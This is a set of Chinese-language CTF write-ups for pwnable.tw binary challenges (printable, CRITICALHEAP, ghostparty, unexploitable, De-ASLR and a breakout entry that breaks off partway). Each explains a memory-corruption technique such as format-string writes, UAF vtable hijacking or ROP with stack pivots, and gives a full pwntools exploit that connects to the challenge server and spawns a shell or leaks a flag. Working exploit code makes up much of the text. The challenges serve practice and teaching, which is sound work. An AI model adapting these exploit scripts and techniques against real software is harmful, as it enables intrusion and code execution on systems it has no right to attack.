[pwnable.tw] printable - 利用exit过程伪造.fini_array到可控内存
分析题目主要逻辑非常短：int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char s; // [rsp+0h] [rbp-90h] unsigned __int64 v4; // [rsp+88h] [rbp-8h] v4 = __readfsqword(0x28u); init_proc(); // set no buf memset(&s, 0, 0x80uLL); // 0x80栈上缓冲区 printf("Input :", 0LL); close(1); // 关闭输出流 // 需要想办法打开或绕过 read(0, &s, 0x80uLL); printf(&s, &s); // 裸的格式化串 exit(0); // 直接exit0，考虑利用fini_array } 在read之前调用了close(1)来关闭stdout流，然后有一个裸的格式化字符串漏洞。由于stderr没有关闭，可以通过半个字节的爆破将bss段上stdout指针指向和stderr同一个文件结构体，此时再调用printf函数时，就可以将内容从stderr流输出来。在调试过程中发现fini_array内存不可写，不能通过直接写指针来让执行流形成loop。这里是本题最关键的难点。通过查阅资料后发现，在最后exit(0)的执行过程中会出现如下图的一处指令，来调用fini_array[0]处保存的指针：其中r12为&fini_array[0]的值，而rdx固定为0，于是往前找可以找到如下控制r12的指令：r12初始值为&fini_array[0]，然后加上[rbx]的值。而rbx中保存的地址，正是第一次调用printf前，栈上第42个参数的值。于是想到，在格式化字符串利用时写&fini_array[0]与一个可写可控地址（如.bss_start）之间的偏移量到该指针指向的内存。只要提前将要返回的起始地址写到.bss_start上，那么最后在exit时就可以构造出call *.bss_start这样的跳转。修改完stdout并返回read片段后的主要任务就是泄露glibc和栈地址。但是由于栈发生了变动，泄露完后不能直接再次返回。很碰巧的是在第二次printf前，栈上第23个变量正好是储存第二次调用printf时保存函数返回地址的栈地址的指针。于是省去了部分写的麻烦，直接写该地址，这样当printf执行完后就会直接回到read片段，且栈不会发生大的变化。（这是第二个容易卡住的点）最后一步很明显是借助上面的方法去getshell，但是不知道为何，直接写printf返回地址为one_gadget地址时无法成功getshell。于是我想在写返回地址的基础上在payload后面布置一段执行system("/bin/sh");的rop链。然后把返回地址写为add rsp, 0x80; ret;这样的gadget，从而在printf返回时跳过payload，执行提前布置的rop链来getshell。需要注意的是，最后一次写返回地址需要写长达6个字节，于是我拆分成了3次，每次写2字节。为了保证从小到大地写入三个地址片段（格式化字符串基本概念），我在分出每个片段后做了一次排序。 虽然说修改了stdout指针，但是getshell之后直接cat文件会提示文件描述符错误，需要在指令中重定向一下：cat /home/printable/printable_fl4g 1>&2;。符号>左边为文件描述符，右边如果直接使用2会被认为是重定向到一个名为2的文件，所以需要用&修饰，表示这是一个文件描述符。 思路 改写stdout，改写fini_array偏移到bss_start位置； 泄露栈地址，glibc地址，修改printf返回地址； 修改printf返回地址为add rsp, 0x80; ret;gadget，在格式化串payload后面布置好system("/bin/sh"); rop链. EXP#/usr/bin/python3 from pwn import * import time local_dbg = 1 libc = ELF("./libc_64.so.6") elf = ELF("./printable") context.log_level = "debug" # const ret_addr = 0x400925 #ret->read->printf->... bss_addr = 0x601000 fini_array_0 = 0x600DB8 #fini_array[0] fini_array_1 = 0x600DB8+8 #fini_array[1] bss_stdout = 0x601020 # low bytes: 0x2620->0x2540 libc_csu_fini = elf.symbols[b"__libc_csu_fini"] fini_array_to_bss_offset = bss_addr - fini_array_0 one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567] print("[*] libc_csu_fini:", hex(libc_csu_fini)) print("[*] fini_array_to_bss_offset:", hex(fini_array_to_bss_offset)) def exp(): #gdb.attach(p, "b *0x40094d\nc\n") # build ret & # make stdout->stderr struct & # build fake fini_array in bss_start & payload1 = "%{}c%{}$hhn".format(0x25, 16) #stdout_addr[1] payload1 += "%{}c%{}$hhn".format(0x40-0x25, 17) #stdout_addr[0] payload1 += "%{}$hnn".format(18) #bss_start[2] payload1 += "%{}c%{}$hn".format(fini_array_to_bss_offset-0x40-1, 0x2a) #stack ptr payload1 += "%{}c%{}$hn".format(0x925-fini_array_to_bss_offset, 19) #bss_start[0:2] payload1 = payload1.encode().ljust(0x50, b"\x00") payload1 += p64(bss_stdout+1) #16 payload1 += p64(bss_stdout) #17 payload1 += p64(bss_addr+2) #18 payload1 += p64(bss_addr) #19 p.sendafter("Input :", payload1+b"\n\x00") time.sleep(0.5) # leak libc & stack payload2 = "%{}c%{}$hhn".format(0x25, 0x17) # modify printf's ret addr payload2 += "||%{}$p||%{}$p||".format(0x39, 0x3c) payload2 = payload2.encode() p.send(payload2+b"\x00") p.recvuntil(b"||") stack_leak = int(p.recvuntil(b"||", drop=True), 16) libc_leak = int(p.recvuntil(b"||", drop=True), 16) libc_base = libc_leak - 240 - libc.symbols[b"__libc_start_main"] binsh = libc_base + next(libc.search(b"/bin/sh")) system = libc_base + libc.symbols[b"system"] print("[*] stack_leak:", hex(stack_leak)) print("[*] libc_leak:", hex(libc_leak)) print("[*] libc_base:", hex(libc_base)) print("[*] system:", hex(system)) print("[*] binsh:", hex(binsh)) # ret to system("/bin/sh") ## some gadgets add_rsp_0x80_ret = libc_base + 0x6b4b8 stack_printf_ret = stack_leak - 0x290 pop_rdi_ret = 0x4009c3 print("[*] add_rsp_0x80_ret:", hex(add_rsp_0x80_ret)) print("[*] stack_printf_ret:", hex(stack_printf_ret)) gadget = add_rsp_0x80_ret gadget_addr_parts = { 0 : gadget&0xffff, 1 : (gadget&(0xffff<<16))>>16, 2 : (gadget&(0xffff<<32))>>32 } gadget_addr_parts = sorted(gadget_addr_parts.items(), key=lambda x:x[1]) print("[*] sorted one_gadget addr parts:") for item in gadget_addr_parts: print(item[0], ":", hex(item[1])) ## gadget part payload3 = "%{}c%{}$hn".format( gadget_addr_parts[0][3], 0x13) ## gadget part payload3 += "%{}c%{}$hn".format( gadget_addr_parts[1][4] - gadget_addr_parts[0][5], 0x14) ## gadget part payload3 += "%{}c%{}$hn".format( gadget_addr_parts[2][6] - gadget_addr_parts[1][7], 0x15) payload3 = payload3.encode().ljust(0x30, b"\x00") ## addrs for item in gadget_addr_parts: payload3 += p64(stack_printf_ret+0x2*item[0]) #0x13-0x15 ## rop rop_chain = p64(0x4009c3) + p64(binsh) + p64(system) p.send(payload3 + rop_chain + b"\n\x00") # get shell #cmd = "cat /home/printable/printable_fl4g 1>&2;" p.interactive() action = input("What's next: ") return False if action == "exit" else True if __name__ == "__main__": global p while True: #p = process("./printable", env = {"LD_PRELOAD":"./libc_64.so.6"}) p = remote("chall.pwnable.tw", 10307) try: ret = exp() if ret == False: p.close() break else: p.close() continue except: print("ERROR!") p.close()
[pwnable.tw] CRITICALHEAP - localtime任意文件读利用
分析这题主要是三个结构体的利用： normal heap clock heap system heap normal heap可以在bss上输入content，当play时调用重写功能后，结构体最末尾8个字节会被填满，此时如果content填满0x28个字符后可以泄露出下一个结构体的name指针也就是堆地址，同时show功能存在格式化字符串漏洞，虽然是调用的__printf_chk，但是由于栈上有一个可控的buf，可以很容易做到任意地址泄露。创建clock heap调用了localtime，当环境变量中存在TZ和TZDIR时，这个函数会把两者拼接成一个完整地址，将地址指向的文件读入堆内存做一系列处理，最后返回一个指向libc中结构体的指针，供用户读取具体时间参数。虽然读入文件内容的内存会被释放而合并到top chunk中，但是没有被覆盖掉。此时发现system heap正好可以设置环境变量，于是大功告成，思路有了。思路 泄露堆地址； 设置TZ环境变量，为flag文件地址； 创建clock heap； 格式化字符串泄露flag。 EXPfrom pwn import * #p = process("./critical_heap") p = remote("chall.pwnable.tw", 10500) elf = ELF("./critical_heap") libc = ELF("./libc.so.6") context.log_level = "debug" flag_path = b"/home/critical_heap++/flag" #flag_path = b"/flag" def create_normal(name, content): '''create_normal(name, content)''' p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Name of heap:", name) p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Content of heap :", content) def create_clock(name): '''create_clock(name)''' p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Name of heap:", name) p.sendafter(b"Your choice : ", b"2\n") def create_system(name): '''create_system(name)''' p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Name of heap:", name) p.sendafter(b"Your choice : ", b"3\n") def show_heap(idx:int): '''show_heap(idx:int)''' p.sendafter(b"Your choice : ", b"2\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") def rename_heap(idx:int, name): '''rename_heap(idx:int, name)''' p.sendafter(b"Your choice : ", b"3\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Name of heap:", name) def show_normal_content(idx:int): '''show_normal_content(idx:int)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Your choice : ", b"3\n") #return def change_normal_content(idx:int, content): '''change_normal_content(idx:int, content)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"2\n") p.sendafter(b"Content :", content) p.sendafter(b"Your choice : ", b"3\n") #return def leak_ptr_content(normal_idx:int, ptr, ret:int): '''use normal heap's fmt bug''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(normal_idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"2\n") payload = (b"%p"*12+b"||%s").ljust(0x20, b"a") + p64(ptr) print("len(payload):", hex(len(payload))) p.sendafter(b"Content :", payload) p.sendafter(b"Your choice : ", b"1\n") #show if ret==1: p.sendafter(b"Your choice : ", b"3\n") #return def show_clock(idx:int): '''show_clock(idx:int)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Your choice : ", b"3\n") #return def update_clock(idx:int): '''update_clock(idx:int)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"2\n") p.sendafter(b"Your choice : ", b"3\n") #return def set_system_env(idx:int, name, value): '''set_system_env(idx:int, name, value)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Give me a name for the system heap :", name) p.sendafter(b"Give me a value for this name :", value) p.sendafter(b"Your choice : ", b"5\n") #return def del_system_env(idx:int, name): '''del_system_env(idx:int, name)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"What's name do you want to unset :", name) p.sendafter(b"Your choice : ", b"5\n") #return def get_realpath(idx:int): '''get_realpath(idx:int)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"3\n") def get_value_of_name(idx:int, name): '''get_value_of_name(idx:int, name)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"What's name do you want to see :", name) p.sendafter(b"Your choice : ", b"5\n") #return def delete_heap(idx:int): '''delete_heap(idx:int)''' p.sendafter(b"Your choice : ", b"5\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") def exp(): # leak heap create_normal(b"AAAA", b"a"*0x28) #0 create_system(b"BBBB") #1 change_normal_content(idx=0, content=b"a"*0x28) show_heap(idx=0) p.recvuntil(b"\x1b!\x1b!") heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) heap_base = heap_leak - 0x30 print("heap_leak:", hex(heap_leak)) print("heap_base:", hex(heap_base)) # modify TZ set_system_env(idx=1, name=b"TZ", value=flag_path) create_clock(b"DDDD") #2 heap_flag_ptr = heap_base + 0x440 # fnt str leak flag #gdb.attach(p, "b *0x40194b\nc\n") create_normal(b"CCCC", b"a"*0x28) #3 leak_ptr_content(normal_idx=3, ptr=heap_flag_ptr, ret=0) p.recvuntil(b"||") flag = p.recvuntil(b"}").decode() print(flag) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp()
分析这题乍一看感觉到处都是洞...而且非常纷乱，难以理清思路。但是这题最关键的洞在于实现部分GHOST子类的时候缺少拷贝构造函数。于是应该重点检查成员变量在vector::push_back()触发浅拷贝时的安全性。如吸血鬼Vampire类中char *blood在浅拷贝析构时会发生delete[] blood;。也就是说当一个Vampire实例放入vector中时，它的blood指针就指向了一块释放过的区域，这是本题最关键的利用点。思路 知道Vampire存在UAF后应该想如何利用。这里发现如果UAF的堆块大于fast chunk得话，其被释放后立刻会合并到top chunk无法利用，不能直接泄露libc地址； 于是绕道。我们发现部分类在内存中分配的大小是相等的，如werewolf和Vampire都是0x70，在fast chunk范围内。也就是说，我们可以创建一个werewolf重新申请回被释放掉的堆块。由于类结构体重要性非常高...于是通过该方法控制类结构体是很可行的； 完成2中的重申请后，此时应该可以泄露出werewolf的vtable从而计算二进制文件的基址； 此时，释放掉最开始的Vampire。这个释放对于Vampire来说是deep free而对于werewolf来说是shadow free。下面需要用到一个大小同样是0x70且各方面比较“正常”不容易破坏堆结构的类——Mummy。通过调试分析发现，如果在创建Mummy实例时msg大小为0x5f就会覆盖werewolf的类结构。按照这里我们可以伪造werewolf的类结构——保持vtable不变（重要）的情况下修改name指针为保存了堆地址的位置。下次列出所有name的时候就完成了地址泄露； 按照4中的思路，泄露出__libc_start_main的got表值，计算出libc基址，以及one_gadget地址； 最后一步，伪造一个vtable。由调试发现vtable+0x10的位置是self.showinfo的函数指针。伪造该指针为one_gadget后替换werewolf的虚表，然后调用该指针完成getshell 其它 有一个类里面似乎读了flag相关的东西，但是解题没用上，可能这题是多解。或者说原先是个AD题。 EXP：from pwn import * import time #p = process("./ghostparty") p = remote("chall.pwnable.tw", 10401) elf = ELF("./ghostparty") #libc = ELF("./libc_64.so.6") libc = ELF("./libc_64.so.6") context.log_level = "debug" ''' ----------------- 1.Werewolf 2.Devil 3.Zombie 4.Skull 5.Mummy 6.Dullahan 7.Vampire 8.Yuki-onna 9.Kasa-obake 10.Alan ----------------- ''' # const TYPE_WEREWOLF = 0x1 TYPE_DEVIL = 0x2 TYPE_ZOMBIE = 0x3 TYPE_SKULL = 0x4 TYPE_MUMMY = 0x5 TYPE_DULLAHAN = 0x6 TYPE_VAMPIRE = 0x7 TYPE_YUKI = 0x8 TYPE_KASA = 0x9 TYPE_ALAN = 0xa ACTION_JOIN = 0x1 ACTION_GIVEUP = 0x2 ACTION_JOINANDSHOW = 0x3 vector_ghostlist_offset = 0x211030 libc_start_main_got_offset = 0x210E90 one_list_local = [0x45226, 0x4527a, 0xf0364, 0xf1207] one_list_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567] def _add_ghost(name, age:int, msg, ghost_type:int): p.sendafter(b"Your choice :", b"1\n") p.sendafter(b"Name : ", name+b"\n") p.sendafter(b"Age : ", str(age).encode()+b"\n") p.sendafter(b"Message : ", msg+b"\n") p.recvuntil(b"Choose a type of ghost :") p.sendline(str(ghost_type).encode()) def _do_action(action): p.sendafter(b"Your choice : ", str(action).encode()+b"\n") def get_name_list(): p.sendafter(b"Your choice :", b"2\n") ''' 1.Join 2.Give up 3.Join and hear what the ghost say ''' def add_werewolf(name, age:int, msg, full_moon:int, action:int): '''name, age:int, msg, full_moon:int, action:int''' _add_ghost(name, age, msg, TYPE_WEREWOLF) p.sendafter(b"Full moon ? (1:yes/0:no):", str(full_moon).encode()+b"\n") _do_action(action) def add_devil(name, age:int, msg, power, action:int): '''name, age:int, msg, power, action:int''' _add_ghost(name, age, msg, TYPE_DEVIL) p.sendafter(b"Add power : ", power+b"\n") _do_action(action) def add_zombie(name, age:int, msg, action:int): '''name, age:int, msg, action:int''' _add_ghost(name, age, msg, TYPE_ZOMBIE) _do_action(action) def add_skull(name, age:int, msg, bones:int, action:int): '''name, age:int, msg, bones:int, action:int''' _add_ghost(name, age, msg, TYPE_SKULL) p.sendafter(b"How many bones ? : ", str(bones).encode()+b"\n") _do_action(action) def add_mummy(name, age:int, msg, commit, action:int): '''name, age:int, msg, commit, action:int''' _add_ghost(name, age, msg, TYPE_MUMMY) p.sendafter(b"Commit on bandage : ", commit+b"\n") _do_action(action) def add_dullahan(name, age:int, msg, weapon, action:int): '''name, age:int, msg, weapon, action:int''' _add_ghost(name, age, msg, TYPE_DULLAHAN) p.sendafter(b"Give a weapon : ", weapon+b"\n") _do_action(action) def add_vampire(name, age:int, msg, blood, action:int): '''name, age:int, msg, blood, action:int''' _add_ghost(name, age, msg, TYPE_VAMPIRE) p.sendafter(b"Add blood :", blood+b"\n") _do_action(action) def add_yuki(name, age:int, msg, cold, action:int): '''name, age:int, msg, cold, action:int''' _add_ghost(name, age, msg, TYPE_YUKI) p.sendafter(b"Cold :", cold+b"\n") _do_action(action) def add_kasa(name, age:int, msg, foot:int, eyes, echo, action:int): '''name, age:int, msg, foot:int, eyes, echo, action:int''' _add_ghost(name, age, msg, TYPE_KASA) p.sendafter(b"foot number :", str(foot).encode()+b"\n") p.sendafter(b"Eyes : ", eyes+b"\n") p.sendafter(b"Input to echo :", echo) _do_action(action) def add_alan(name, age:int, msg, lightsaber, action:int): '''name, age:int, msg, lightsaber, action:int''' _add_ghost(name, age, msg, TYPE_ALAN) p.sendafter(b"Your lightsaber : ", lightsaber+b"\n") _do_action(action) def show_ghost(idx:int): p.sendafter(b"Your choice :", b"2\n") p.sendafter(b"which you want to show in the party : ", str(idx).encode()+b"\n") def night(): p.sendafter(b"Your choice :", b"3\n") def rmghost(idx:int): p.sendafter(b"Your choice :", b"4\n") p.sendafter(b"which you want to remove from the party : ", str(idx).encode()+b"\n") def end_party(): p.sendafter(b"Your choice :", b"5\n") def get_fake_werewolf_obj(vtable, ptr_to_leak): return (p64(vtable) + p64(0) + p64(ptr_to_leak)).ljust(0x5f, b"\x00") def exp(): # leak vtable && image_base add_vampire(name=b"AAAA", age=1, msg=b"aaaa", blood=b"a"*0x5f, action=ACTION_JOINANDSHOW) #0 add_werewolf(name=b"BBBB", age=1, msg=b"bbb", full_moon=1, action=ACTION_JOINANDSHOW) #1 show_ghost(0) p.recvuntil(b"Blood : ") vtable_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) # werewolf's vtable werewolf_vtable = vtable_leak image_base = vtable_leak - 0x210b98 print("[*] vtable_leak:", hex(vtable_leak)) print("[*] image_base:", hex(image_base)) # leak heap ## deep free obj_0 && shallow free obj_1 rmghost(0) vector_ghostlist = image_base + vector_ghostlist_offset fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, vector_ghostlist) add_mummy(name=b"CCCC", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1 show_ghost(0) # leak what name_ptr point to p.recvuntil(b"Name : ") heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) heap_base = heap_leak - 0x12d40 print("[*] heap_leak:", hex(heap_leak)) print("[*] heap_base:", hex(heap_base)) # leak libc ## deep free obj_1 && shallow free obj_0 rmghost(1) libc_start_main_got = image_base + libc_start_main_got_offset fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, libc_start_main_got) add_mummy(name=b"DDDD", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1 get_name_list() p.recvuntil(b": ") libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) libc_base = libc_leak - libc.symbols[b"__libc_start_main"] print("[*] libc_leak:", hex(libc_leak)) print("[*] libc_base:", hex(libc_base)) p.sendline(b"1") # attack vtable rmghost(1) fake_vtable_addr = heap_base + 0x12e40 + 0x8 one_gadget = libc_base + one_list_remote[2] fake_vtable = p64(0)*2 + p64(one_gadget) # vtable+0x10 -> self.showinfo() fake_werewolf_obj = (p64(fake_vtable_addr) + fake_vtable).ljust(0x5f, b"\x00") add_mummy(name=b"EEEE", age=1, msg=fake_werewolf_obj, commit=b"shell", action=ACTION_JOINANDSHOW) #0/1 # getshell p.sendline(b"2") p.sendline(b"0") # call self.showinfo() -> one_gadget to get shell #gdb.attach(p) p.interactive() if __name__ == "__main__": exp()
[pwnable.tw] unexploitable - 利用微偏移在read库函数中找syscall gadget
分析这题和pwnable.kr原题的差别在于程序本身没有了syscall这个gadget，需要另找别处。题目给了read和栈溢出，栈迁移是少不了的。考虑到GOT表可写，并且关于read的库实现有个可以利用的gadget：在read库函数起始位置+0xe的时候有一个syscall，并且只要返回值正常，后面会接上ret （重点！）。思路 由分析可知，这题的关键在于控制read库函数+0xe处的gadget进行地址泄露。这个偏移只需要往read的got表地址写一个字节，同时写完这个字节后RAX的值刚好变成1，也就是SYS_write的系统调用号。当下一次再调用read时就会变成write； 得到write之后需要泄露__libc_start_main的got表值来计算libc基址。注意最好一个一个字节泄露，一次泄露多个字节会导致RAX过大，后续不方便控制。每次write一个字节可以保证RAX始终为1； 完成泄露后还需要切换回SYS_read把算出来的system地址写入read_got中，最后传入提前写好的/bin/sh参数地址来getshell。这一步只需要write(1, addr, 0)输出0个字节，RAX的值就会变回0，也就是SYS_read的系统调用号； 环境很坑，每次输入前尝试把sleep时间调长一点，否则会出现read不进去的情况。 EXPfrom pwn import * import time #p = process("./unexploitable", env={"LD_PRELOAD":"./libc_64.so.6"}) p = remote("chall.pwnable.tw", 10403) elf = ELF("./unexploitable") libc = ELF("./libc_64.so.6") context.log_level = "debug" # const offset_byte = b"\x0e" # read offset to syscall # addr bss_addr = 0x601028 main_addr = 0x400544 read_plt = elf.symbols[b"read"] read_got = elf.got[b"read"] sleep_got = elf.got[b"sleep"] libc_start_main = elf.got[b"__libc_start_main"] # gadget csu_gadget_1 = 0x4005e6 csu_gadget_2 = 0x4005d0 pop_rbp_ret = 0x400512 leave_ret = 0x400576 def csu_rop(rbx:int, rbp:int, call:int, rdi:int, rsi:int, rdx:int): rop = p64(csu_gadget_1) rop += p64(0) #padding rop += p64(rbx) #rbx rop += p64(rbp) #rbp rop += p64(call) #r12->call addr rop += p64(rdi) #r13->edi rop += p64(rsi) #r14->rsi rop += p64(rdx) #r15->rdx rop += p64(csu_gadget_2) rop += b"\x00"*0x38 #pad return rop def exp(): #gdb.attach(p, "b *0x400576\nc\n") #gdb.attach(p, "b system\nc\n") # migrate stack to bss && call read target_stack_1 = bss_addr + (0x100-0x8) # also write /bin/sh payload1 = b"a"*0x10 + p64(0xdeadbeef) payload1 += p64(csu_gadget_1) payload1 += p64(0) #padding payload1 += p64(0) #rbx payload1 += p64(1) #rbp payload1 += p64(read_got) #r12->call addr payload1 += p64(0) #r13->edi payload1 += p64(target_stack_1) #r14->rsi payload1 += p64(0x600) #r15->rdx payload1 += p64(csu_gadget_2) payload1 += b"\x00"*0x38 #pad payload1 += p64(pop_rbp_ret) #set rbp payload1 += p64(target_stack_1+0x8) payload1 += p64(leave_ret) # migrate print("len(payload1):", hex(len(payload1))) p.sendline(payload1) #pause() time.sleep(7) # read payload to target_stack_1 payload2 = b"/bin/sh\x00" payload2 += p64(0xdeadbeef) #new rbp payload2 += csu_rop(0, 1, read_got, 0, read_got, 1) # modify LSB of read_got for i in range(6): payload2 += csu_rop(0, 1, read_got, 1, libc_start_main+i, 1) # leak sleep_got payload2 += csu_rop(0, 1, read_got, 1, libc_start_main, 0) # make RAX=0 payload2 += csu_rop(0, 1, read_got, 0, read_got, 0x8) # make read_got -> system payload2 += csu_rop(0, 1, read_got, target_stack_1, 0, 0) # system("/bin/sh") payload2 += p64(main_addr) print("len(payload2):", hex(len(payload2))) p.sendline(payload2) #pause() time.sleep(7) p.send(b"\x7e") time.sleep(4) sleep_addr = u64(p.recv(6).ljust(8, b"\x00")) libc_base = sleep_addr - libc.symbols[b"__libc_start_main"] system = libc_base + libc.symbols[b"system"] print("sleep_addr:", hex(sleep_addr)) print("libc_base:", hex(libc_base)) print("system:", hex(system)) #pause() time.sleep(7) p.send(p64(system)) p.sendline("cat /home/*/flag") p.recvall() if __name__ == "__main__": exp()
[pwnable.tw] De-ASLR - "call reg"式ROP链+栈残留指针运用
分析题目只给了一个gets栈溢出，got开了全保护不能修改。按照题意对付aslr的话，爆破几率太渺茫了。应该要结合call reg以及栈残留指针来构造rop。思路 _libc_csu_init里面有这么一条gadget：call qword ptr [r12+rbx*8]。这意味着如果能够控制r12为一个libc地址，rbx为某个函数offset/8的话，就可以调用这个函数。 由于gets在调用时会在栈低地址留下_IO_2_1_stdin的地址，我们可以利用这个地址加上一定偏移去调用__IO_file_write来泄露地址。__IO_file_write函数与write函数的区别在于，第一个参数变成了一个文件结构体。为了成功利用，这个结构体中只需要保证fileno==1和flag2==2就能成功调用（非常理想）。 为了利用栈残留信息，需要把栈迁移到bss这种地址固定并可控的段来操作。在此之前还要先向bss中不会受到调用栈影响的区域提前写好fake_file。 迁移到bss上需要先执行一次gets让bss中残留下libc地址信息。然后再往远处迁移栈，避免利用时破坏残留在栈上的指针。迁移到远处后需要计算好残留指针的地址，往这个地址的上下填充其它值——因为gadget的限制，往往需要一次pop很多寄存器，而需要让残留指针放在r12寄存器里面就得把其它寄存器也构造好。其它寄存器涉及到传参以及分支跳转——注意让rbp=rbx+1防止跳转。 最终构造完在call reg之前应该保证： RDI为fake_file地址 RSI为gets的got表地址 RDX为输出长度 RBX为(__IO_file_write-残留指针)/8 (注意残留指针不一定是 _IO_2_1_stdin，因为gets在写的时候末位会有\x00截断覆盖掉_IO_2_1_stdin低位) R12为残留指针 EBP为rbx+1 泄露完地址走一次one_gadget就可以getshell了 EXPfrom pwn import * #p = process("./deaslr", env={"LD_PRELOAD":"./libc_64.so.6"}) p = remote("chall.pwnable.tw", 10402) elf = ELF("./deaslr") libc = ELF("./libc_64.so.6") context.log_level = "debug" # addr main_addr = 0x400536 gets_plt = elf.symbols[b"gets"] gets_got = elf.got[b"gets"] bss_addr = 0x601010 data_addr = 0x601000 # gadget pop_rbp_ret = 0x4004a0 leave_ret = 0x400554 ret = 0x4003f9 pop_rdi_ret = 0x4005c3 pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba pop_r12_r13_r14_r15_ret = 0x4005bc pop_rsp_r13_r14_r15_ret = 0x4005bd call_r12_plus_rbx_mul_8 = 0x4005a9 set_args_and_call = call_r12_plus_rbx_mul_8 - 0x9 mveax0_leave_ret = 0x40054f # struct fake_file = b"\x00"*0x70+p64(1)+p64(2) # fileno flag fake_file = fake_file.ljust(0xe0, b"\x00") def exp(): #gdb.attach(p, "b *0x40054f\nc\n") # write fake_file to bss fake_file_addr = bss_addr+0x100 payload1 = b"a"*0x18 + p64(pop_rdi_ret) + p64(fake_file_addr) + p64(gets_plt) + p64(main_addr) p.sendline(payload1) p.sendline(fake_file) # Migrate stack to bss (to control stack_val) target_stack = bss_addr+0x200 payload2 = b"a"*0x10 + p64(target_stack) + p64(pop_rdi_ret) + p64(target_stack) + p64(gets_plt) payload2 += p64(leave_ret) p.sendline(payload2) # write target_stack target_stack_2 = bss_addr + 0x400 payload3 = p64(0xdeadbeef) #new rbp payload3 += p64(pop_rdi_ret) # get(target_stack_2) payload3 += p64(target_stack_2) #arg payload3 += p64(gets_plt) payload3 += p64(pop_rsp_r13_r14_r15_ret) # move to stack_2 payload3 += p64(target_stack_2) p.sendline(payload3) # set target_stack_2 payload4 = p64(0)*3 payload4 += p64(pop_rdi_ret) payload4 += p64(target_stack-0x30-0x30) payload4 += p64(gets_plt) # set stack low payload4 += p64(pop_rdi_ret) payload4 += p64(target_stack-0x30+0x8) payload4 += p64(gets_plt) # set stack high payload4 += p64(pop_rsp_r13_r14_r15_ret) payload4 += p64(target_stack-0x30-0x30) p.sendline(payload4) ## low low = p64(0)*3 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) low += p64(0xfffffffffffffdeb) #rbx low += p64(0xfffffffffffffdeb+1) #rbp p.sendline(low) ## high high = p64(0x100) #r13 -> rdx high += p64(gets_got) #r14 -> rsi high += p64(fake_file_addr) #r15 -> edi high += p64(set_args_and_call) high += b"a"*0x38 high += p64(main_addr) p.sendline(high) # get leak addr puts_addr = u64(p.recv(8)) libc_base = puts_addr - libc.symbols[b"gets"] system = libc_base + libc.symbols[b"system"] binsh = libc_base + next(libc.search(b"/bin/sh")) one = [0x45216, 0x4526a, 0xef6c4, 0xf0567] one_gadget = libc_base + one[0] print("puts_addr:", hex(puts_addr)) print("libc_base:", hex(libc_base)) print("system:", hex(system)) print("binsh:", hex(binsh)) print("one_gadget:", hex(one_gadget)) ## get shell #payload5 = b"a"*0x18 + p64(pop_rdi_ret) + p64(binsh) + p64(ret)*8 + p64(system) + p64(main_addr) payload5 = b"a"*0x18 + p64(one_gadget) # set eax=0 p.sendline(payload5) p.interactive() if __name__ == "__main__": exp()
一些怨言题目本身非常容易，利用UAF构造出一条通向malloc_hook的fastbin。然后利用好realloc会copy原有内容到新堆块的特性，提前布置好payload到堆上，绕过security_read向malloc_hook中写入one_gadget。建议这种受到堆偏移影响很大的题最好给出Dockfile，不然纯浪费时间，特傻逼！！EXP：from pwn import * p = remote("chall.pwnable.tw", 10400) #p = process("./breakout", env={"LD_PRELOAD":"./libc_64.so.6"}) elf = ELF("./breakout") libc = ELF("./libc_64.so.6") context.arch = "amd64" context.log_level = "debug" def list_all(): p.sendafter(b"> ", b"list\n") def set_note(cell:int, size:int, content): p.sendafter(b"> ", b"note\n") p.sendafter(b"Cell: ", str(cell).encode()) p.sendafter(b"Size: ", str(size).encode()) p.sendafter(b"Note: ", content) def punish(cell:int): p.sendafter(b"> ", b"punish\n") p.sendafter(b"Cell: ", str(cell).encode()) def exp(): # leak libc set_note(6, 0x80, b"aaaa") set_note(7, 0x20, b"bbbb") set_note(6, 0x90, b"cccc") set_note(8, 0x80, b"a"*8) list_all() p.recvuntil(b"Life imprisonment, murder") 